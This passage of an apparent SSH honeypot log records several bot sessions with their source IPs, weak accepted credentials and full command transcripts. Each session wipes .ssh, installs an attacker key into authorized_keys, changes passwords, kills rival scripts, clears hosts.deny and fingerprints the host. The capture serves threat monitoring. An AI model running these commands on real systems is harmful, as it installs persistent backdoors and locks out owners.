.ssh","started_at":"2026-08-27T11:58:03.193437+00:00","ended_at":"2026-08-27T11:58:05.147503+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2190,"events":[{"seq":1,"at":"2026-08-27T11:57:34.221287+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:57:34.566081+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:57:38.492330+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:57:40.043074+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:57:40.387051+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Passw0rd1\\nPnEilzpfaeeG\\nPnEilzpfaeeG\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:57:40.734633+00:00","kind":"input","latency_ms":null,"data":"echo \"Passw0rd1\\nPnEilzpfaeeG\\nPnEilzpfaeeG\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:57:41.079752+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:57:41.539190+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:57:42.546813+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:57:43.280378+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:57:43.626351+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:57:44.997922+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:57:45.350637+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:57:46.210067+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:57:46.558828+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:57:47.524157+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:57:47.870538+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:57:49.629308+00:00","kind":"output","latency_ms":null,"data":" 11:57:49 up 7 days, 8:47, 0 user, load average: 0.24, 0.2, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:57:49.977468+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:57:52.089270+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:57:52.437258+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:57:53.861642+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:57:54.207223+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:57:55.910045+00:00","kind":"output","latency_ms":null,"data":"top - 11:57:55 up 7 days, 8:48, 0 user, load average: 0.24, 0.2, 0.17\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:57:56.256731+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:57:58.218640+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:57:58.567066+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:57:59.934143+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:58:00.281102+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:58:01.516387+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":31,"at":"2026-08-27T11:58:01.861879+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:58:02.848576+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:58:03.195248+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:58:05.038670+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"Passw0rd1","method":"password","accepted":true,"tier":"other"}]} {"id":"d53cdf74-acd9-4bbd-83fb-b23108eed00a","name":"craggy-patient-wolverine","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":55448,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:58:00.026031+00:00","ended_at":"2026-08-27T11:58:01.921668+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T11:57:41.654768+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:57:41.946465+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:57:45.677235+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:57:46.425007+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:57:46.719154+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Deb0LnBCa76X\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:57:47.011673+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:57:47.306996+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:57:47.943667+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:57:48.239010+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:57:49.671734+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:57:49.967587+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:57:51.370659+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:57:51.676358+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:57:52.181931+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:57:52.475795+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:57:53.133307+00:00","kind":"output","latency_ms":null,"data":" 11:57:53 up 7 days, 8:48, 0 user, load average: 0.17, 0.19, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:57:53.433542+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:57:53.987208+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:57:54.273664+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:57:54.739764+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:57:55.033395+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:57:55.726264+00:00","kind":"output","latency_ms":null,"data":"top - 11:57:55 up 7 days, 8:48, 0 user, load average: 0.17, 0.19, 0.14\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:57:56.021130+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:57:56.825229+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:57:57.116779+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:57:57.703864+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:57:57.998804+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:57:58.253357+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:57:58.546993+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:57:59.733699+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:58:00.026747+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:58:01.835188+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12356789","method":"password","accepted":true,"tier":"other"}]} {"id":"2d1fa421-ff93-4aed-aa57-06924028b8a9","name":"inland-tranquil-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":39950,"username":"arthur","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:57:29.746128+00:00","ended_at":"2026-08-27T11:57:31.557802+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T11:57:09.814328+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:57:10.075776+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:57:12.802403+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:57:13.662137+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:57:13.925868+00:00","kind":"input","latency_ms":null,"data":"echo -e \"abc123\\n834JaMI9OZvQ\\n834JaMI9OZvQ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:57:14.191683+00:00","kind":"input","latency_ms":null,"data":"echo \"abc123\\n834JaMI9OZvQ\\n834JaMI9OZvQ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:57:14.453542+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:57:15.134111+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:57:15.397660+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:57:16.202800+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:57:16.475568+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:57:17.653098+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:57:17.924689+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:57:18.529641+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:57:18.793462+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:57:19.045810+00:00","kind":"output","latency_ms":null,"data":" 11:57:19 up 7 days, 8:47, 0 user, load average: 0.3, 0.36, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:57:19.310544+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:57:19.598219+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:57:19.862065+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:57:20.906774+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:57:21.170277+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:57:22.467408+00:00","kind":"output","latency_ms":null,"data":"top - 11:57:22 up 7 days, 8:47, 0 user, load average: 0.3, 0.36, 0.24\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:57:22.731320+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:57:24.790743+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:57:25.057547+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:57:26.190865+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:57:26.456059+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:57:28.357721+00:00","kind":"output","latency_ms":null,"data":"arthur"},{"seq":29,"at":"2026-08-27T11:57:28.621461+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:57:29.482908+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:57:29.746869+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:57:31.482141+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"arthur","password":"abc123","method":"password","accepted":true,"tier":"other"}]} {"id":"aae1788c-398f-4c09-8467-32195a70a5c0","name":"amber-tidal-chamois","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":45858,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":732,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:57:25.006006+00:00","ended_at":"2026-08-27T11:57:26.484519+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:56:57.544028+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:56:58.274555+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:57:04.614098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:57:04.925192+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:57:05.655415+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4DklzIUAxZPZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:57:06.404529+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:57:07.133867+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:57:07.438949+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:57:08.176926+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:57:09.095220+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:57:09.822885+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:57:10.850107+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:57:11.579609+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:57:12.047271+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:57:12.776237+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:57:13.565387+00:00","kind":"output","latency_ms":null,"data":" 11:57:13 up 7 days, 8:47, 0 user, load average: 0.07, 0.06, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:57:14.298117+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:57:15.006529+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:57:15.738621+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:57:16.585074+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:57:17.331295+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:57:18.222141+00:00","kind":"output","latency_ms":null,"data":"top - 11:57:18 up 7 days, 8:47, 0 user, load average: 0.07, 0.06, 0.08\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:57:18.954898+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:57:19.386176+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:57:20.121755+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:57:20.663380+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:57:21.393021+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:57:22.198576+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:57:22.947665+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:57:24.278460+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:57:25.007218+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:57:26.254183+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root12","method":"password","accepted":true,"tier":"other"}]} {"id":"60aa76e5-0542-4bdd-8123-357a61fd53bf","name":"silent-eager-pheasant","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59312,"username":"frappe","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":443,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:56:36.170693+00:00","ended_at":"2026-08-27T11:56:37.407084+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2261,"events":[{"seq":1,"at":"2026-08-27T11:56:15.574655+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:56:16.016255+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:56:20.677512+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:56:21.324750+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:56:21.767895+00:00","kind":"input","latency_ms":null,"data":"echo -e \"frappe@1234\\nKnPEPeoV1s4b\\nKnPEPeoV1s4b\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:56:22.207453+00:00","kind":"input","latency_ms":null,"data":"echo \"frappe@1234\\nKnPEPeoV1s4b\\nKnPEPeoV1s4b\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:56:22.647110+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:56:23.025114+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core 